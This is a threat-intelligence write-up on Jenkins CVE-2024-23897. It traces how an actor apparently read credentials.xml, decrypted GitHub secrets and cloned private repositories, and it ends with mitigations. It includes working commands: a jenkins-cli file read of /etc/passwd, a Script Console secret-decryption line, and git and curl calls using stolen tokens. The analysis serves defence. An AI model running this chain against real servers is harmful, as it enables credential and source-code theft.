Category: Adversary Intelligence
Region: Global
Date: 24 July 2024
TLP: GREEN
Executive Summary
This article delves into the technical intricacies of CVE-2024-23897, an unauthenticated Local File Inclusion (LFI) vulnerability in Jenkins, and retraces how threat actors leveraged it to breach a company's Github repositories.
Setting the Stage: A Vulnerable Jenkins Instance
Our story begins with a seemingly innocuous Jenkins server, a cornerstone of continuous integration and deployment pipelines. Unfortunately, this particular instance, running a vulnerable version (Jenkins 2.441 and earlier, LTS 2.426.2 and earlier), became the target of threat actors' malicious intentions recently.
To understand the attack, let's first set up a similar vulnerable environment using Docker:
Docker Setup Steps:
1. Pull Docker image using the command:
docker pull jenkins/jenkins:2.440-jdk17
2. Run the container:
docker run -d --name jenkins -p 8080:8080 -p 50000:50000 -v /path/to/your/local/jenkins/home:/var/jenkins_home jenkins/jenkins:2.440-jdk17
This command launches a Jenkins container, mapping ports 8080 and 50000 to the host machine and mounting a local directory to the container's /var/jenkins_home directory.
3. Access the container's shell:
docker exec -it <container_name> /bin/bash
With the stage set, let's explore how threat actors are exploiting the vulnerability.
Unmasking the Vulnerability - CVE-2024-23897
CVE-2024-23897 is an unauthenticated LFI vulnerability that allows attackers to read arbitrary files on the Jenkins server. This vulnerability arises from improper input validation, enabling attackers to manipulate specific parameters and trick the server into accessing and displaying the contents of sensitive files.
The Heist - Exfiltrating Github Secrets
- Reconnaissance: Threat actors likely began by identifying the vulnerable Jenkins instance and confirming the presence of Git integration
- Exploiting the LFI: Using the vulnerability, IntelBroker gained access to sensitive files on the Jenkins server, including the
credentials.xmlfile, which stores encrypted credentials used for various integrations - Decrypting the Loot: IntelBroker then used the Jenkins Script Console to decrypt the contents of the
credentials.xmlfile, gaining access to Github SSH keys and access tokens - Plundering the Repositories: With the stolen credentials, IntelBroker could authenticate to Github and access the company's private repositories, stealing valuable source code, proprietary information, and other sensitive data
Technical Analysis
Let's delve into the technical details of how IntelBroker exploited the LFI and exfiltrated the Github credentials:
1. Reading Sensitive Files:
IntelBroker potentially used the Jenkins CLI tool along with the LFI vulnerability to read the contents of sensitive files. For instance, to read the /etc/passwd file:
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ -auth @password.txt version @/etc/passwd
By manipulating the @ symbol, they could trick the server into interpreting the path after it as a file to include.
Note: POC scripts for the CVE-2024-23897 are also available on github.
IntelBroker potentially dumped the credentials.xml using the below POC or a script from github, to get the stored encrypted credentials. System Path for the file being /var/jenkins_home/credentials.xml
2. Analyzing credentials.xml File:
Jenkins stores all the Global Credentials in encrypted form in this file. The stored hash can be decrypted using hudson.util.Secret.decrypt().
3. Decrypting Credentials:
Once they had access to the credentials.xml file, threat actors use the Jenkins Script Console and the following command to decrypt the encrypted credentials:
println(hudson.util.Secret.fromString("{XXX=}").getPlainText())
Replacing {XXX=} with the encrypted string from the credentials.xml file allowed them to retrieve the plaintext Github credentials.
4. Compromising Github Repositories:
With the stolen SSH keys and access tokens, threat actors could:
Clone private repositories:
Using the git clone command with the stolen SSH key added to their SSH agent or by directly embedding the access token in the URL:
git clone [email protected]:target-username/private-repo.git
Note:
- With the SSH private key the threat actor can clone the repositories known to him and not list them
- With Github Access token the Threat Actor can clone as well as list the repositories
Access repositories via Github API:
Using the stolen access token in the Authorization header, they could interact with the Github API to list and download repositories:
curl -H "Authorization: token github_access_token" https://api.github.com/user/repos
Lessons Learned and Mitigations
IntelBroker's successful breach serves as a stark reminder of the importance of cybersecurity awareness and proactive security measures. Here are some key takeaways and mitigation strategies:
- Timely Patching: Keep your Jenkins server up-to-date with the latest security patches to mitigate known vulnerabilities.
- Strong Authentication: Enforce strong passwords and implement multi-factor authentication (MFA) for all user accounts, especially those with administrative privileges.
- Principle of Least Privilege: Grant users only the necessary permissions required to perform their tasks. Avoid using shared accounts.
- Regular Security Audits: Conduct regular security audits and penetration testing to identify and address vulnerabilities proactively.
- Threat Intelligence: Utilize threat intelligence to understand a threat actor’s motives, targets, and attack behaviors.
- Shadow IT: Monitor and manage the use of IT-related hardware or software by departments or individuals without the knowledge of the IT or security group within the organization.
By understanding the intricacies of CVE-2024-23897 and implementing robust security practices, organizations can better protect themselves against such sophisticated attacks.